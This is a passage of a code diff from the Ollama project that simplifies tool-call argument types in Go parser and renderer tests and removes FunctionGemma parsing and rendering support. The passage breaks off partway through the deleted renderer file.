 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"location": "SF"}),
+						Arguments: map[string]any{"location": "SF"},
 					},
 				},
 			},
@@ -296,7 +296,7 @@ func TestOlmo3Parser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"location": "NYC"}),
+						Arguments: map[string]any{"location": "NYC"},
 					},
 				},
 			},
@@ -308,7 +308,7 @@ func TestOlmo3Parser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "test",
-						Arguments: testArgs(map[string]any{}),
+						Arguments: map[string]any{},
 					},
 				},
 			},
@@ -343,7 +343,7 @@ func TestOlmo3Parser_Streaming(t *testing.T) {
 			if diff := cmp.Diff(allContent, tt.expectedContent); diff != "" {
 				t.Errorf("content mismatch (-got +want):\n%s", diff)
 			}
-			if diff := cmp.Diff(allCalls, tt.expectedCalls, argsComparer); diff != "" {
+			if diff := cmp.Diff(allCalls, tt.expectedCalls); diff != "" {
 				t.Errorf("calls mismatch (-got +want):\n%s", diff)
 			}
 		})
@@ -378,7 +378,7 @@ func TestParseOlmo3FunctionCalls(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"location": "SF"}),
+						Arguments: map[string]any{"location": "SF"},
 					},
 				},
 			},
@@ -390,11 +390,11 @@ func TestParseOlmo3FunctionCalls(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "send_email",
-						Arguments: testArgs(map[string]any{
+						Arguments: map[string]any{
 							"to":      "user@example.com",
 							"subject": "Hello",
 							"body":    "Test message",
-						}),
+						},
 					},
 				},
 			},
@@ -407,13 +407,13 @@ get_time(timezone="PST")`,
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_weather",
-						Arguments: testArgs(map[string]any{"location": "SF"}),
+						Arguments: map[string]any{"location": "SF"},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Name:      "get_time",
-						Arguments: testArgs(map[string]any{"timezone": "PST"}),
+						Arguments: map[string]any{"timezone": "PST"},
 					},
 				},
 			},
@@ -437,7 +437,7 @@ get_time(timezone="PST")`,
 				t.Errorf("parseOlmo3FunctionCalls() error = %v, wantErr %v", err, tt.wantErr)
 				return
 			}
-			if diff := cmp.Diff(calls, tt.expected, argsComparer); diff != "" {
+			if diff := cmp.Diff(calls, tt.expected); diff != "" {
 				t.Errorf("calls mismatch (-got +want):\n%s", diff)
 			}
 		})

model/parsers/parsers.go

@@ -66,8 +66,6 @@ func ParserForName(name string) Parser {
 		return &Olmo3ThinkParser{}
 	case "nemotron-3-nano":
 		return &Nemotron3NanoParser{}
-	case "functiongemma":
-		return &FunctionGemmaParser{}
 	default:
 		return nil
 	}

model/parsers/qwen3coder.go

@@ -270,12 +270,12 @@ func parseToolCall(raw qwenEventRawToolCall, tools []api.Tool) (api.ToolCall, er
 		}
 	}
 
-	toolCall.Function.Arguments = api.NewToolCallFunctionArguments()
+	toolCall.Function.Arguments = make(api.ToolCallFunctionArguments)
 	for _, parameter := range functionCall.Parameters {
 		// Look up the parameter type if we found the tool
 		var paramType api.PropertyType
 		if matchedTool != nil && matchedTool.Function.Parameters.Properties != nil {
-			if prop, ok := matchedTool.Function.Parameters.Properties.Get(parameter.Name); ok {
+			if prop, ok := matchedTool.Function.Parameters.Properties[parameter.Name]; ok {
 				// Handle anyOf by collecting all types from the union
 				if len(prop.AnyOf) > 0 {
 					for _, anyOfProp := range prop.AnyOf {
@@ -287,7 +287,7 @@ func parseToolCall(raw qwenEventRawToolCall, tools []api.Tool) (api.ToolCall, er
 			}
 		}
 
-		toolCall.Function.Arguments.Set(parameter.Name, parseValue(parameter.Value, paramType))
+		toolCall.Function.Arguments[parameter.Name] = parseValue(parameter.Value, paramType)
 	}
 
 	return toolCall, nil

model/parsers/qwen3coder_test.go

@@ -11,7 +11,7 @@ import (
 func tool(name string, props map[string]api.ToolProperty) api.Tool {
 	t := api.Tool{Type: "function", Function: api.ToolFunction{Name: name}}
 	t.Function.Parameters.Type = "object"
-	t.Function.Parameters.Properties = testPropsMap(props)
+	t.Function.Parameters.Properties = props
 	return t
 }
 
@@ -369,10 +369,10 @@ celsius
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get_current_temperature",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"location": "San Francisco",
 						"unit":     "celsius",
-					}),
+					},
 				},
 			},
 		},
@@ -390,10 +390,10 @@ celsius
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get current temperature",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"location with spaces": "San Francisco",
 						"unit with spaces":     "celsius",
-					}),
+					},
 				},
 			},
 		},
@@ -415,10 +415,10 @@ San Francisco
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "\"get current temperature\"",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"\"location with spaces\"": "San Francisco",
 						"\"unit with spaces\"":     "\"celsius\"",
-					}),
+					},
 				},
 			},
 		},
@@ -449,12 +449,12 @@ true
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "calculate",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"x":       3.14,
 						"y":       42,
 						"enabled": true,
 						"items":   []any{"a", "b", "c"},
-					}),
+					},
 				},
 			},
 		},
@@ -470,9 +470,9 @@ ls && echo "done"
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "exec",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"command": "ls && echo \"done\"",
-					}),
+					},
 				},
 			},
 		},
@@ -487,9 +487,9 @@ ls && echo "a > b and a < b"
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "exec",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"command": "ls && echo \"a > b and a < b\"",
-					}),
+					},
 				},
 			},
 		},
@@ -507,10 +507,10 @@ Hello! 你好! 🌟 مرحبا
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "获取天气",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"城市":      "北京",
 						"message": "Hello! 你好! 🌟 مرحبا",
-					}),
+					},
 				},
 			},
 		},
@@ -521,7 +521,7 @@ Hello! 你好! 🌟 مرحبا
 		if err != nil {
 			t.Errorf("step %d (%s): %v", i, step.name, err)
 		}
-		if !toolCallEqual(gotToolCall, step.wantToolCall) {
+		if !reflect.DeepEqual(gotToolCall, step.wantToolCall) {
 			t.Errorf("step %d (%s): got tool call %#v, want %#v", i, step.name, gotToolCall, step.wantToolCall)
 		}
 	}

model/parsers/qwen3vl_nonthinking_test.go

@@ -550,10 +550,10 @@ func TestQwen3VLNonThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get-current-weather",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"location": "San Francisco, CA",
 						"unit":     "fahrenheit",
-					}),
+					},
 				},
 			},
 		},
@@ -564,10 +564,10 @@ func TestQwen3VLNonThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get current temperature",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"location with spaces": "San Francisco",
 						"unit with spaces":     "celsius",
-					}),
+					},
 				},
 			},
 		},
@@ -578,10 +578,10 @@ func TestQwen3VLNonThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "\"get current temperature\"",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"\"location with spaces\"": "San Francisco",
 						"\"unit with spaces\"":     "\"celsius\"",
-					}),
+					},
 				},
 			},
 		},
@@ -592,12 +592,12 @@ func TestQwen3VLNonThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "calculate",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"x":       3.14,
 						"y":       float64(42),
 						"enabled": true,
 						"items":   []any{"a", "b", "c"},
-					}),
+					},
 				},
 			},
 		},
@@ -608,9 +608,9 @@ func TestQwen3VLNonThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "exec",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"command": "ls && echo \"done\"",
-					}),
+					},
 				},
 			},
 		},
@@ -621,9 +621,9 @@ func TestQwen3VLNonThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "exec",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"command": "ls && echo \"a > b and a < b\"",
-					}),
+					},
 				},
 			},
 		},
@@ -634,10 +634,10 @@ func TestQwen3VLNonThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "获取天气",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"城市":      "北京",
 						"message": "Hello! 你好! 🌟 مرحبا",
-					}),
+					},
 				},
 			},
 		},
@@ -648,7 +648,7 @@ func TestQwen3VLNonThinkingToolParser(t *testing.T) {
 		if err != nil {
 			t.Errorf("step %d (%s): %v", i, step.name, err)
 		}
-		if !toolCallEqual(gotToolCall, step.wantToolCall) {
+		if !reflect.DeepEqual(gotToolCall, step.wantToolCall) {
 			t.Errorf("step %d (%s): got tool call %#v, want %#v", i, step.name, gotToolCall, step.wantToolCall)
 		}
 	}

model/parsers/qwen3vl_thinking_test.go

@@ -241,10 +241,10 @@ func TestQwen3VLThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get-current-weather",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"location": "San Francisco, CA",
 						"unit":     "fahrenheit",
-					}),
+					},
 				},
 			},
 		},
@@ -255,10 +255,10 @@ func TestQwen3VLThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get current temperature",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"location with spaces": "San Francisco",
 						"unit with spaces":     "celsius",
-					}),
+					},
 				},
 			},
 		},
@@ -269,10 +269,10 @@ func TestQwen3VLThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "\"get current temperature\"",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"\"location with spaces\"": "San Francisco",
 						"\"unit with spaces\"":     "\"celsius\"",
-					}),
+					},
 				},
 			},
 		},
@@ -283,12 +283,12 @@ func TestQwen3VLThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "calculate",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"x":       3.14,
 						"y":       float64(42),
 						"enabled": true,
 						"items":   []any{"a", "b", "c"},
-					}),
+					},
 				},
 			},
 		},
@@ -299,9 +299,9 @@ func TestQwen3VLThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "exec",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"command": "ls && echo \"done\"",
-					}),
+					},
 				},
 			},
 		},
@@ -312,9 +312,9 @@ func TestQwen3VLThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "exec",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"command": "ls && echo \"a > b and a < b\"",
-					}),
+					},
 				},
 			},
 		},
@@ -325,10 +325,10 @@ func TestQwen3VLThinkingToolParser(t *testing.T) {
 			wantToolCall: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "获取天气",
-					Arguments: testArgs(map[string]any{
+					Arguments: map[string]any{
 						"城市":      "北京",
 						"message": "Hello! 你好! 🌟 مرحبا",
-					}),
+					},
 				},
 			},
 		},
@@ -339,7 +339,7 @@ func TestQwen3VLThinkingToolParser(t *testing.T) {
 		if err != nil {
 			t.Errorf("step %d (%s): %v", i, step.name, err)
 		}
-		if !toolCallEqual(gotToolCall, step.wantToolCall) {
+		if !reflect.DeepEqual(gotToolCall, step.wantToolCall) {
 			t.Errorf("step %d (%s): got tool call %#v, want %#v", i, step.name, gotToolCall, step.wantToolCall)
 		}
 	}

model/parsers/testhelpers_test.go

@@ -1,98 +0,0 @@
-package parsers
-
-import (
-	"encoding/json"
-
-	"github.com/google/go-cmp/cmp"
-	"github.com/ollama/ollama/api"
-)
-
-// argsComparer provides cmp options for comparing ToolCallFunctionArguments
-// It compares by logical equality (same keys with same values) not by order
-var argsComparer = cmp.Comparer(func(a, b api.ToolCallFunctionArguments) bool {
-	// Convert both to maps and compare
-	aMap := a.ToMap()
-	bMap := b.ToMap()
-	if len(aMap) != len(bMap) {
-		return false
-	}
-	for k, av := range aMap {
-		bv, ok := bMap[k]
-		if !ok {
-			return false
-		}
-		// Use JSON encoding for deep comparison of values
-		aJSON, _ := json.Marshal(av)
-		bJSON, _ := json.Marshal(bv)
-		if string(aJSON) != string(bJSON) {
-			return false
-		}
-	}
-	return true
-})
-
-// propsComparer provides cmp options for comparing ToolPropertiesMap
-var propsComparer = cmp.Comparer(func(a, b *api.ToolPropertiesMap) bool {
-	if a == nil && b == nil {
-		return true
-	}
-	if a == nil || b == nil {
-		return false
-	}
-	aJSON, _ := json.Marshal(a)
-	bJSON, _ := json.Marshal(b)
-	return string(aJSON) == string(bJSON)
-})
-
-// toolsComparer combines argsComparer and propsComparer for comparing tools
-var toolsComparer = cmp.Options{argsComparer, propsComparer}
-
-// toolCallEqual compares two tool calls by comparing their components
-// It compares arguments by logical equality (same keys with same values) not by order
-func toolCallEqual(a, b api.ToolCall) bool {
-	if a.ID != b.ID {
-		return false
-	}
-	if a.Function.Index != b.Function.Index {
-		return false
-	}
-	if a.Function.Name != b.Function.Name {
-		return false
-	}
-	// Compare arguments by logical equality using argsComparer logic
-	aMap := a.Function.Arguments.ToMap()
-	bMap := b.Function.Arguments.ToMap()
-	if len(aMap) != len(bMap) {
-		return false
-	}
-	for k, av := range aMap {
-		bv, ok := bMap[k]
-		if !ok {
-			return false
-		}
-		aJSON, _ := json.Marshal(av)
-		bJSON, _ := json.Marshal(bv)
-		if string(aJSON) != string(bJSON) {
-			return false
-		}
-	}
-	return true
-}
-
-// testPropsMap creates a ToolPropertiesMap from a map (convenience function for tests, order not preserved)
-func testPropsMap(m map[string]api.ToolProperty) *api.ToolPropertiesMap {
-	props := api.NewToolPropertiesMap()
-	for k, v := range m {
-		props.Set(k, v)
-	}
-	return props
-}
-
-// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
-func testArgs(m map[string]any) api.ToolCallFunctionArguments {
-	args := api.NewToolCallFunctionArguments()
-	for k, v := range m {
-		args.Set(k, v)
-	}
-	return args
-}

model/renderers/cogito_test.go

@@ -94,12 +94,12 @@ You are a helpful assistant.
 						Description: "Get current weather",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},
@@ -139,9 +139,9 @@ You have the following functions available:
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -162,9 +162,9 @@ You have the following functions available:
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -186,17 +186,17 @@ You have the following functions available:
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "London",
-								}),
+								},
 							},
 						},
 					},
@@ -226,12 +226,12 @@ You have the following functions available:
 						Description: "Get current weather",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},
@@ -378,9 +378,9 @@ You are a pirate chatbot who always responds in pirate speak!
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -401,14 +401,14 @@ You are a pirate chatbot who always responds in pirate speak!
 						{
 							Function: api.ToolCallFunction{
 								Name: "process_data",
-								Arguments: testArgsOrdered([]orderedArg{
-									{"config", map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
+									"items": []any{"item1", "item2", "item3"},
+									"config": map[string]any{
 										"enabled":   true,
 										"threshold": 0.95,
 										"tags":      []string{"important", "urgent"},
-									}},
-									{"items", []any{"item1", "item2", "item3"}},
-								}),
+									},
+								},
 							},
 						},
 					},

model/renderers/deepseek3_test.go

@@ -82,9 +82,9 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -104,9 +104,9 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -125,9 +125,9 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -147,17 +147,17 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "London",
-								}),
+								},
 							},
 						},
 					},
@@ -214,9 +214,9 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -235,9 +235,9 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "process",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"data": "test",
-								}),
+								},
 							},
 						},
 					},
@@ -281,9 +281,9 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -305,9 +305,9 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -355,9 +355,9 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -379,9 +379,9 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -436,17 +436,17 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Tokyo",
-								}),
+								},
 							},
 						},
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "New York",
-								}),
+								},
 							},
 						},
 					},
@@ -489,12 +489,12 @@ Second instruction<｜User｜>Hello<｜Assistant｜></think>`,
 						Description: "Get current weather information",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},
@@ -535,12 +535,12 @@ Where:
 						Description: "Get current weather information",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},
@@ -578,9 +578,9 @@ Where:
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -594,12 +594,12 @@ Where:
 						Description: "Get current weather information",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},
@@ -638,9 +638,9 @@ Where:
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 					},
@@ -656,12 +656,12 @@ Where:
 						Description: "Get current weather information",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},
@@ -701,9 +701,9 @@ Where:
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Tokyo",
-								}),
+								},
 							},
 						},
 					},
@@ -724,12 +724,12 @@ Where:
 						Description: "Get current weather information",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},
@@ -770,12 +770,12 @@ Where:
 						Description: "Get current weather information",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},
@@ -787,12 +787,12 @@ Where:
 						Description: "Perform mathematical calculations",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"expression": {
 									Type:        api.PropertyType{"string"},
 									Description: "Mathematical expression to evaluate",
 								},
-							}),
+							},
 							Required: []string{"expression"},
 						},
 					},
@@ -834,17 +834,17 @@ Where:
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "Paris",
-								}),
+								},
 							},
 						},
 						{
 							Function: api.ToolCallFunction{
 								Name: "calculate",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"expression": "25 * 4",
-								}),
+								},
 							},
 						},
 					},
@@ -860,12 +860,12 @@ Where:
 						Description: "Get current weather information",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},
@@ -877,12 +877,12 @@ Where:
 						Description: "Perform mathematical calculations",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"expression": {
 									Type:        api.PropertyType{"string"},
 									Description: "Mathematical expression to evaluate",
 								},
-							}),
+							},
 							Required: []string{"expression"},
 						},
 					},
@@ -927,12 +927,12 @@ Where:
 						Description: "Get current weather information",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {
 									Type:        api.PropertyType{"string"},
 									Description: "City name",
 								},
-							}),
+							},
 							Required: []string{"location"},
 						},
 					},

model/renderers/functiongemma.go

@@ -1,287 +0,0 @@
-package renderers
-
-import (
-	"fmt"
-	"sort"
-	"strings"
-
-	"github.com/ollama/ollama/api"
-)
-
-type FunctionGemmaRenderer struct{}
-
-const defaultSystemMessage = "You can do function calling with the following functions:"
-
-func (r *FunctionGemmaRenderer) Render(messages []api.Message, tools []api.Tool, thinkValue *api.ThinkValue) (string, error) {
-	var sb strings.Builder
-
-	sb.WriteString("<bos>")
-
-	var systemMessage string
-	var loopMessages []api.Message
-	if len(messages) > 0 && (messages[0].Role == "system" || messages[0].Role == "developer") {
-		systemMessage = messages[0].Content
-		loopMessages = messages[1:]
-	} else {
-		loopMessages = messages
-	}
-
-	if systemMessage != "" || len(tools) > 0 {
-		sb.WriteString("<start_of_turn>developer\n")
-		if systemMessage != "" {
-			sb.WriteString(strings.TrimSpace(systemMessage))
-		}
-		if len(tools) > 0 {
-			if systemMessage != "" {
-				sb.WriteString("\n")
-			}
-			if strings.TrimSpace(systemMessage) != defaultSystemMessage {
-				// Only add default message if user does not provide it
-				sb.WriteString(defaultSystemMessage)
-			}
-		}
-		for _, tool := range tools {
-			sb.WriteString(r.renderToolDeclaration(tool))
-		}
-		sb.WriteString("<end_of_turn>\n")
-	}
-
-	// Track previous message type for tool response handling
-	prevMessageType := ""
-
-	for i, message := range loopMessages {
-		switch message.Role {
-		case "assistant":
-			if prevMessageType != "tool_response" {
-				sb.WriteString("<start_of_turn>model\n")
-			}
-			prevMessageType = ""
-
-			if message.Content != "" {
-				sb.WriteString(strings.TrimSpace(message.Content))
-			}
-
-			if len(message.ToolCalls) > 0 {
-				for _, tc := range message.ToolCalls {
-					sb.WriteString(r.formatToolCall(tc))
-				}
-				// After tool calls, expect tool responses
-				if i+1 < len(loopMessages) && loopMessages[i+1].Role == "tool" {
-					sb.WriteString("<start_function_response>")
-					prevMessageType = "tool_call"
-				} else {
-					sb.WriteString("<end_of_turn>\n")
-				}
-			} else {
-				sb.WriteString("<end_of_turn>\n")
-			}
-
-		case "user":
-			if prevMessageType != "tool_response" {
-				sb.WriteString("<start_of_turn>user\n")
-			}
-			prevMessageType = ""
-			sb.WriteString(strings.TrimSpace(message.Content))
-			sb.WriteString("<end_of_turn>\n")
-
-		case "tool":
-			toolName := ""
-			// Find the tool name from the previous assistant's tool call
-			for j := i - 1; j >= 0; j-- {
-				if loopMessages[j].Role == "assistant" && len(loopMessages[j].ToolCalls) > 0 {
-					// Count how many tool messages came before this one
-					toolIdx := 0
-					for k := j + 1; k < i; k++ {
-						if loopMessages[k].Role == "tool" {
-							toolIdx++
-						}
-					}
-					if toolIdx < len(loopMessages[j].ToolCalls) {
-						toolName = loopMessages[j].ToolCalls[toolIdx].Function.Name
-					}
-					break
-				}
-			}
-
-			if prevMessageType != "tool_call" {
-				sb.WriteString("<start_function_response>")
-			}
-			sb.WriteString("response:" + toolName + "{" + r.formatArgValue(message.Content) + "}<end_function_response>")
-			prevMessageType = "tool_response"
-
-		default:
-			sb.WriteString("<start_of_turn>" + message.Role + "\n")
-			sb.WriteString(strings.TrimSpace(message.Content))
-			sb.WriteString("<end_of_turn>\n")
-		}
-	}
-
